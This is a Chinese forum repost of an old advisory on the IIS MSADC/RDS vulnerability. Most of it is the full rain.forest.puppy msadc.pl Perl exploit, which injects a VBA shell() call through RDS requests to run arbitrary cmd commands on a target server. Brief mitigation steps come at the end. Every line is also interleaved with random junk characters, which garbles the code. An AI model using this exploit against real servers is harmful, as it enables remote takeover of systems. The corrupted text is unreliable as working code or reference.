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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 525 >=h  
]3,0 8JW=  
涉及程序: 0_EF7`T  
Microsoft NT server f#t^<`7  
xRUYJ=|oh  
描述: @rMW_7[y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9|`@czw  
#j JcgR<  
详细: YMd&+J`  
如果你没有时间读详细内容的话,就删除: ?Sqm`)\>4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ["M >  
有关的安全问题就没有了。 ("6W.i>  
H-W) Tq_?-  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 m0"\3@kB  
6T s`5$e  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 "=(;l3-o  
关于利用ODBC远程漏洞的描述,请参看: {Jc!T:vJ  
aiHr2x6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d/&|%Z r  
 m5pVt 4  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 w-$w  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp k ))*z FV  
;`B35K  
这里不再论述。 4:']'E  
xNkY'4%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: (0Cszm.  
hl:eF:'hm  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset { 1%ZyY  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >B  
d@tr]v5 B  
`[CJtd2\  
#将下面这段保存为txt文件,然后: "perl -x 文件名" <3 }l8Z  
AF$o >f  
#!perl ^Q>*f/.KN  
# JWL J<z  
# MSADC/RDS 'usage' (aka exploit) script -/%jeDKp  
# Ol[gck|~  
# by rain.forest.puppy o }A #-   
# ea0tx3'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me zIFL?8!H9{  
# beta test and find errors! >G2-kL_  
PuaosMn(9  
use Socket; use Getopt::Std; D 8Rmxq!  
getopts("e:vd:h:XR", \%args); PNgMLQI6  
ai4^NJn  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; a`*WpP\+  
:$aW@?zAY  
if (!defined $args{h} && !defined $args{R}) { %Be[DLtE"  
print qq~ Xb* _LZAU  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ]F;]<_  
-h <host> = host you want to scan (ip or domain) U_'q-*W  
-d <seconds> = delay between calls, default 1 second AFTed?(  
-X = dump Index Server path table, if available "}p?pF<'0  
-v = verbose --`LP[ll  
-e = external dictionary file for step 5 #\BI-zt  
3SDWR@x&  
Or a -R will resume a command session D~OhwsL4  
rVy\,#|  
~; exit;} *hs<Ez.cC  
p0y?GNQ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; SsX05>  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} TSSt@xQ+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} R"gm]SQ/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); P &0cF{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} lhl 0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ko)T>8:  
T zYgH  
if (!defined $args{R}){ $ret = &has_msadc; NB5B$q_'#  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -_DiD^UcXn  
;}~Bv<#  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" YwWTv  
. "cmd /c "; }#*zjMOz  
$in=<STDIN>; chomp $in; Z'dI!8(Nf  
$command="cmd /c " . $in ; r/sRXM:3cZ  
j :Jdwf  
if (defined $args{R}) {&load; exit;} E)wT+\  
zl 0^EltiU  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;n{j,HB  
&try_btcustmr; w9<FX>@  
f^sb0nU  
print "\nStep 2: Trying to make our own DSN..."; HcVs(]tIW  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; EJaaW&>[  
L_ qv<iM$  
print "\nStep 3: Trying known DSNs..."; AJlIA[Kt:  
&known_dsn; k`mrRs  
y' |W['  
print "\nStep 4: Trying known .mdbs..."; e=;@L3f  
&known_mdb; UN?T}p- oF  
h;UdwmT  
if (defined $args{e}){ Pq\V($gN  
print "\nStep 5: Trying dictionary of DSN names..."; Z?v6pjZ?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iH}rI'U.  
Po!JgcJ#\  
print "Sorry Charley...maybe next time?\n"; 'Oy5G7^R  
exit; JvJ!\6Q@  
T>Rf?%o  
############################################################################## 1qKxg  
k>;r9^D  
sub sendraw { # ripped and modded from whisker i -s?"Fk  
sleep($delay); # it's a DoS on the server! At least on mine... %802H%+  
my ($pstr)=@_; :G=1$gb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p z+}7  
die("Socket problems\n"); 4i\aW:_'i  
if(connect(S,pack "SnA4x8",2,80,$target)){ }:l%,DBw  
select(S); $|=1; 5YG@[ic  
print $pstr; my @in=<S>; K<  
select(STDOUT); close(S); _B7?C:8Q-  
return @in; YSz$` 7i  
} else { die("Can't connect...\n"); }} LOUKUReE  
|XA aKZA  
############################################################################## u:H 3.5)%  
vua1iN1  
sub make_header { # make the HTTP request iLd"tn'  
my $msadc=<<EOT V?V)&y] 4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 HD8"=7zJk  
User-Agent: ACTIVEDATA (=tF2YBV  
Host: $ip ? ]:EmP  
Content-Length: $clen g yH7((#i  
Connection: Keep-Alive sEJ;t0.LX  
-anFt+f-  
ADCClientVersion:01.06 dYew 7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ;0Ct\[eh  
?r'TH/>  
--!ADM!ROX!YOUR!WORLD! (VXx G/E3  
Content-Type: application/x-varg ];{l$-$$  
Content-Length: $reqlen O$umu_  
L!b0y7yR  
EOT %=mwOoMk0L  
; $msadc=~s/\n/\r\n/g; C|~JPcl  
return $msadc;} g*r{!:,t  
D7_Hu'y<o  
############################################################################## 0jJ28.kOp  
73s3-DS,  
sub make_req { # make the RDS request k E#_Pc  
my ($switch, $p1, $p2)=@_; OxHw1k  
my $req=""; my $t1, $t2, $query, $dsn; ;aK !eD$  
d,J<SG&L&  
if ($switch==1){ # this is the btcustmr.mdb query kq}eUY]  
$query="Select * from Customers where City=" . make_shell(); fF9oYOh|  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^I0GZG  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} bHQKRV  
)<x;ra^  
elsif ($switch==2){ # this is general make table query X?v ^>mA  
$query="create table AZZ (B int, C varchar(10))"; 5)>ZO)F&  
$dsn="$p1";} &(uF&-PwO4  
o )nT   
elsif ($switch==3){ # this is general exploit table query wp]7Lx?F  
$query="select * from AZZ where C=" . make_shell(); D_19sN@0m  
$dsn="$p1";} N}x/&e  
kG;eOp16R  
elsif ($switch==4){ # attempt to hork file info from index server ^2;(2s  
$query="select path from scope()"; pW3)Y5/D  
$dsn="Provider=MSIDXS;";} @a.6?.<L  
3e!Yu.q:  
elsif ($switch==5){ # bad query &DbGyV8d"|  
$query="select"; 0q>NE <L  
$dsn="$p1";} $kD`$L@U  
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$t1= make_unicode($query); leb^,1/D6  
$t2= make_unicode($dsn); zmL~]! ~&  
$req = "\x02\x00\x03\x00"; \BbOljM=  
$req.= "\x08\x00" . pack ("S1", length($t1)); bUAR<R'E  
$req.= "\x00\x00" . $t1 ; ?;r8SowZ7  
$req.= "\x08\x00" . pack ("S1", length($t2)); X.T\=dm%v  
$req.= "\x00\x00" . $t2 ; =6Kv`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =S[FJaIu7  
return $req;} 6Er0o{iI  
e2-70UvW^  
############################################################################## (9YYv+GGd*  
|<$<L`xoe  
sub make_shell { # this makes the shell() statement O2'bNR  
return "'|shell(\"$command\")|'";} B )1<`nJA  
EDgob^>  
############################################################################## 8W1K3[Jj<  
.y;\puNq  
sub make_unicode { # quick little function to convert to unicode 9OQ0Yc!3  
my ($in)=@_; my $out; kP}hUrDX5  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Fyh?4!/.  
return $out;} T) Zt'M  
mS w?2ba  
############################################################################## An8%7xa7  
=ve*g&  
sub rdo_success { # checks for RDO return success (this is kludge) \\2k}TsB  
my (@in) = @_; my $base=content_start(@in); {sna)v$;  
if($in[$base]=~/multipart\/mixed/){ y[^k*,= 9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} /50g3?X,  
return 0;} ;5Wx$Yfx  
az \<sWb#  
############################################################################## S-M)MCL  
!}L~@[v,uL  
sub make_dsn { # this makes a DSN for us i>]<*w  
my @drives=("c","d","e","f"); Av;q:x?  
print "\nMaking DSN: "; 94p:|5@  
foreach $drive (@drives) { /mMAwx  
print "$drive: "; F; MF:;mM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . M8#*zCp{5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !HdvCYB>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 1o;g1Z/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; n2jvXLJq  
return 0 if $2 eq "404"; # not found/doesn't exist r{_B:  
if($2 eq "200") { V &mH#k  
foreach $line (@results) { cz7 CrK~5  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} m<FWv2)^  
} return 0;} )O2Nlk~l&  
>2|[EZ  
############################################################################## ]e@0T{!  
XoKO2<3  
sub verify_exists { )D Gz`->  
my ($page)=@_; k"q!|+&Fs  
my @results=sendraw("GET $page HTTP/1.0\n\n"); E,<\T6/%q  
return $results[0];} .0Iun+nUD  
QX/X {h6  
############################################################################## *%OYAsc  
;LQ# *NjL\  
sub try_btcustmr { l\T!)Ql  
my @drives=("c","d","e","f"); I+Ncmg )>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Xx3 g3P  
w'oo-.k  
foreach $dir (@dirs) { B.}_],  
print "$dir -> "; # fun status so you can see progress bVa+kYE  
foreach $drive (@drives) { *]}CSZ[>  
print "$drive: "; # ditto {uaZ<4N.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4GU/V\e|  
$reqlenlen=length( "$reqlen" ); eq@am(#&kY  
$clen= 206 + $reqlenlen + $reqlen; <THZ2`tTK3  
d}{LM!s  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); E-yT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} lC'{QUC  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} u0bfX,e2U  
?Do^stq'4  
############################################################################## c-4m8Kg?L  
bH\'uaJ  
sub odbc_error { N|!MO{sB  
my (@in)=@_; my $base; biK)&6|`sa  
my $base = content_start(@in); ;ZQ- uz  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this D00G1:Ft(T  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^wx%CdFm'P  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r/NSD$-n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [x2JFS#4  
return $in[$base+4].$in[$base+5].$in[$base+6];} mF[o*N*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; h4hN1<ky\  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . gk!E$NyE  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Jv_.itc  
prNhn:j  
############################################################################## IVI~1~  
eu# ,WwlG  
sub verbose { FAQr~G}  
my ($in)=@_; sU) TXL'_!  
return if !$verbose; CS/Mpmsp  
print STDOUT "\n$in\n";} !c3```*  
EMVk:Vt]  
############################################################################## ?z2jk  
?QCmSK=L  
sub save { w)+wj[6 E  
my ($p1, $p2, $p3, $p4)=@_; A6Ghj{~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =N YgGEFq.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; /y}"M  
close OUT;} T>}0) s  
Bk?8 zYp  
############################################################################## T n"e   
,:D=gQ@`  
sub load { {Ge+O<mD  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z]^+^c_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); D Irgq|8  
@p=<IN>; close(IN); 96(R'^kNX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); QBy{| sQ`  
$target= inet_aton($ip) || die("inet_aton problems"); Tbv/wJ  
print "Resuming to $ip ..."; ShQ|{P9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]dvPx^`d{  
if($p[1]==1) { ,i?)  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; #SKfE  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Og,Y)a;=  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 95=g Y  
if (rdo_success(@results)){print "Success!\n";} kOw=c Gt  
else { print "failed\n"; verbose(odbc_error(@results));}} ^_v[QV  
elsif ($p[1]==3){ AY#wVy  
if(run_query("$p[3]")){ t)YUPDQ@J  
print "Success!\n";} else { print "failed\n"; }} <f N; xIB  
elsif ($p[1]==4){ ev9; Ld  
if(run_query($drvst . "$p[3]")){ "\e:h| .G  
print "Success!\n"; } else { print "failed\n"; }} $}t=RW  
exit;} sLb8*fak  
3sH\1)Zz  
############################################################################## g>so R&*  
9YB2 e84j  
sub create_table { (+* ][|T  
my ($in)=@_; et=7}K]l  
$reqlen=length( make_req(2,$in,"") ) - 28; pmD4j8F_  
$reqlenlen=length( "$reqlen" ); =I2@/,  
$clen= 206 + $reqlenlen + $reqlen; 4SgF,ac3r  
my @results=sendraw(make_header() . make_req(2,$in,"")); nqT>qS[Z  
return 1 if rdo_success(@results); RctU'T  
my $temp= odbc_error(@results); verbose($temp); |,b2b2v ?  
return 1 if $temp=~/Table 'AZZ' already exists/; zj<ahg%z  
return 0;} \V,c]I   
"!O1j r;  
############################################################################## U4BqO :sd  
bmu6@jT  
sub known_dsn { "e 1wr  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *h$&0w y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -."kq.m*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #ZJMlJ:q`"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Vtr3G.P^  
~.J,A\F  
foreach $dSn (@dsns) { tJNIr5o  
print "."; zh\$t]d<I  
next if (!is_access("DSN=$dSn")); 4o<*PPA1  
if(create_table("DSN=$dSn")){ %}P4kEY  
print "$dSn successful\n"; CEuWw:)  
if(run_query("DSN=$dSn")){ (89Ji'dc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ',7a E@PJ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} F@Q^?WV  
WmeKl  
############################################################################## *m9{V8Yi2  
LN4qYp6)G  
sub is_access { 4S|=/f  
my ($in)=@_; `H>b5  
$reqlen=length( make_req(5,$in,"") ) - 28; t2- ^-g6  
$reqlenlen=length( "$reqlen" );  FZ F @  
$clen= 206 + $reqlenlen + $reqlen; [#Y' dFQ  
my @results=sendraw(make_header() . make_req(5,$in,"")); ciudRK63M  
my $temp= odbc_error(@results); uRE*%d>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); )P?IqSEA%  
return 0;} re^Hc(8M  
>c4/ ?YV  
############################################################################## v?%LQKO  
]IZ>2!6r  
sub run_query { rEdY>\'  
my ($in)=@_; `9Yn0B.  
$reqlen=length( make_req(3,$in,"") ) - 28; (luKn&826  
$reqlenlen=length( "$reqlen" ); w&Y{1rF>  
$clen= 206 + $reqlenlen + $reqlen; .6 3=(o  
my @results=sendraw(make_header() . make_req(3,$in,"")); E V2  )  
return 1 if rdo_success(@results); w7FoL  
my $temp= odbc_error(@results); verbose($temp); oKA&An  
return 0;} r3qf[?3`6  
ySe$4deJ  
############################################################################## ]N^*tO  
YuQ~AE'i  
sub known_mdb { lwT9~Hyp  
my @drives=("c","d","e","f","g"); D'b#,a;V  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %T!J$a)qf  
my $dir, $drive, $mdb; ?P/AC$:|I  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6BocGo({  
tu0aD%C  
# this is sparse, because I don't know of many .$&Q[r3Lu  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e4`uVq5  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", a^t?vv  
"\\system32\\certmdb.mdb", H6K`\8/SeN  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% )}MHx`KT2  
WA6!+Gy  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", O/Rhf[7v*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", KL [ek  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5|I55CTx  
"\\cfusion\\cfapps\\security\\realm_.mdb", G_ >G'2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", FY'ty@|_s  
"\\cfusion\\database\\cfexamples.mdb", c)}2K0  
"\\cfusion\\database\\cfsnippets.mdb", #aar9  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", AVl~{k|  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Wh( |+rJ?Z  
"\\cfusion\\brighttiger\\database\\cleam.mdb", x[Im%k  
"\\cfusion\\database\\smpolicy.mdb", o31Nmy Ni  
"\\cfusion\\database\cypress.mdb", `y^sITr  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -F\qnsZ2  
"\\website\\cgi-win\\dbsample.mdb", %0,-.(h  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 2-'Opu  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Wht(O~F  
); #these are just ]]0,|My7  
foreach $drive (@drives) { 6G AaV[])'  
foreach $dir (@dirs){ n6MM5h/#r  
foreach $mdb (@sysmdbs) { `_vB+a  
print "."; V0*3;n  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ c~=B0K-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =JS;;PzX[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ y "w|g~x]c  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; pZ(Fx&fy  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 9Q;c ,]  
.]x2K-Sf  
foreach $drive (@drives) {  d$W  
foreach $mdb (@mdbs) { -%CoWcGP  
print "."; (:pq77  
if(create_table($drv . $drive . $dir . $mdb)){ 5fJ[}~  
print "\n" . $drive . $dir . $mdb . " successful\n"; 4)6xU4eBaL  
if(run_query($drv . $drive . $dir . $mdb)){ _[K"gu  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Dg HaOAdU  
} else { print "Something's borked. Use verbose next time\n"; }}}} 3;[DJ5  
} (`BSVxJH  
Q`%R[#  
############################################################################## lrWQOYf2  
FV39QG4b4  
sub hork_idx { 4|?{VQ  
print "\nAttempting to dump Index Server tables...\n"; Oakb'  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $wB^R(f@  
$reqlen=length( make_req(4,"","") ) - 28; bFS>)  
$reqlenlen=length( "$reqlen" ); Bux [6O %  
$clen= 206 + $reqlenlen + $reqlen; Hr<o!e{Y  
my @results=sendraw2(make_header() . make_req(4,"","")); 3+Qxg+<  
if (rdo_success(@results)){ en F:>H4  
my $max=@results; my $c; my %d; (1R?s>3o  
for($c=19; $c<$max; $c++){ L!Cz'm"Nl  
$results[$c]=~s/\x00//g; !v.9"!' N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; #R0A= !  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; "=. t 36#  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 20RXK1So  
$d{"$1$2"}="";} .|qK +Hnc  
foreach $c (keys %d){ print "$c\n"; } h}`!(K^;3  
} else {print "Index server doesn't seem to be installed.\n"; }} !4"^`ors$  
=sJ _yq0#R  
############################################################################## Yc r3HLJy  
{c?JuV4q?  
sub dsn_dict { lbdTQ6R  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %+>s#Q2d  
while(<IN>){ %xZG*2vc!B  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <*!i$(gn  
next if (!is_access("DSN=$dSn")); {66sB{P  
if(create_table("DSN=$dSn")){ X~=xXN.  
print "$dSn successful\n"; ltB .Q  
if(run_query("DSN=$dSn")){ $?G"GQ!.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { g>rp@M  
print "Something's borked. Use verbose next time\n";}}} l%ayI  
print "\n"; close(IN);} $rF=_D6  
eN? Y7  
############################################################################## 57a2^  
'ly?P8h  
sub sendraw2 { # ripped and modded from whisker "gtHTqheH  
sleep($delay); # it's a DoS on the server! At least on mine... [H<bh%  
my ($pstr)=@_; j$UV/tp5T  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2aw&YZ&Xo  
die("Socket problems\n"); #`TgZKDg2  
if(connect(S,pack "SnA4x8",2,80,$target)){ TGXa,A{  
print "Connected. Getting data"; B vo5-P6XY  
open(OUT,">raw.out"); my @in; X,aYK;q%z  
select(S); $|=1; print $pstr; \0l>q ,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} PNF?;*`-{7  
close(OUT); select(STDOUT); close(S); return @in; %J:SO_6  
} else { die("Can't connect...\n"); }} gWABY%!}  
v~3B:k:?l  
############################################################################## 3f " %G\  
vK7\JZ>  
sub content_start { # this will take in the server headers *-W#G}O0  
my (@in)=@_; my $c; n+@F`]K e  
for ($c=1;$c<500;$c++) { eI.2`)>  
if($in[$c] =~/^\x0d\x0a/){ $Nrm!/)*'}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <~TP#uAz  
else { return $c+1; }}} pLa[}=  
return -1;} # it should never get here actually '{ I_\~*  
=deMd`=J  
############################################################################## fDE%R={!n5  
W?yd#j  
sub funky { b*a2,MiM  
my (@in)=@_; my $error=odbc_error(@in); |Fm6#1A@  
if($error=~/ADO could not find the specified provider/){ BqDKT  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; dkgSvi :!  
exit;} YprH wL  
if($error=~/A Handler is required/){ 6qN~/TnHZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Spo?i.#  
exit;}  ~ ~uAc_  
if($error=~/specified Handler has denied Access/){ 8l}1c=A}Vi  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2!&&|Mh}  
exit;}} <FMq>d$\  
[b{CkX06  
############################################################################## aQ^umrj@?9  
)"f N!9,F  
sub has_msadc { 4'$g(+z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?D,=37  
my $base=content_start(@results); J PyOG _h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 1O].v&{  
return 0;} kGpa\c g1  
-jgysBw+Xb  
######################## o"wXIHUmV  
M/x>51<  
^7;JC7qmN  
解决方案: P%)gO  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5@*'2rO&!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 $$:ZX  
r{L4]|(utY  
拿出来充数 哈哈
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